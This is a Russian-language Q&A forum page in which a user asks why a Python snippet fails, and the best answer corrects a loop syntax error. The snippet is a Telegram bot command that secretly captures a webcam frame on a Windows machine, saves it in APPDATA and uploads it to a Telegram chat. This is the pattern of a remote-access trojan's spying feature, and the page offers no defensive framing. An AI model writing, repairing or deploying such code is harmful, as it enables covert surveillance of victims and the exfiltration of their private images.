Mail.ruПочтаМой МирОдноклассникиВКонтактеИгрыЗнакомстваНовостиКалендарьОблакоЗаметкиВсе проекты

Почему в этом коде ошибка?

Jewwh Coder Ученик (106), закрыт 4 года назад
@bot.message_handler(commands=['Webcam', 'webcam'])
def send_webcam(command):
try:
Screenshot = cv2.VideoCapture(0)
for i range (30) :
Screenshot.read()
ret, frame = Screenshot.read()
cv2.imwrite(os.getenv("APPDATA") + "\\Screenshot.jpg", frame)
Screenshot.release()
Screenshot = open(os.getenv("APPDATA") + '\\Screenshot.jpg', 'rb')
files = ('photo': Screenshot)
requests.post("https://api.telegram.org/bot" + bot_token + "/sendDocument?chat_id=" + chat_id, files=files)
except:
bot.send_message(chat_id, "Ошибка! Данная функция недоступна!")

Ошибка тут: " for i range (30):"
Типо это двоеточие тут лишнее. Invalid Syntax
Лучший ответ
Высший разум (1270989) 4 года назад
видимо, так:
for i in range(30):
Остальные ответы
Похожие вопросы